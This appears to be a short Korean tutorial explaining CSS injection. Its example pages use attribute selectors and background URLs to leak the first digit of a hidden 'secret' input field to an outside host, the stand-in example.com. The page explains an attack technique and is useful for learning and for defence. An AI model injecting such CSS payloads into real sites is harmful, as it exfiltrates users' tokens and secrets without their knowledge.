CSS Injection

  
<!DOCTYPE html>
<html>
<head>
	<title>CSS Injection</title>
	<style type="text/css">
		
		body { background: url("http://example.com"); }


	</style>
</head>
<body>

</body>
</html>

위와 같은 페이지에 접속하게 되면 body tag 존재함으로 example.com에 정상적인 요청을 보낸다.

이제 input tag에 민감한 값이 존재한다면?

<!DOCTYPE html>
<html>
<head>
	<title>CSS Injection</title>
	<style type="text/css">
		
		input[name='secret'][value^='0'] { background: url("http://example.com/0"); }
		input[name='secret'][value^='1'] { background: url("http://example.com/1"); }
		input[name='secret'][value^='2'] { background: url("http://example.com/2"); }
		input[name='secret'][value^='3'] { background: url("http://example.com/3"); }
		input[name='secret'][value^='4'] { background: url("http://example.com/4"); }
		input[name='secret'][value^='5'] { background: url("http://example.com/5"); }
		input[name='secret'][value^='6'] { background: url("http://example.com/6"); }
		input[name='secret'][value^='7'] { background: url("http://example.com/7"); }
		input[name='secret'][value^='8'] { background: url("http://example.com/8"); }
		input[name='secret'][value^='9'] { background: url("http://example.com/9"); }

	</style>
</head>
<body>

	<input type="hidden" name="secret" value="123">

</body>
</html>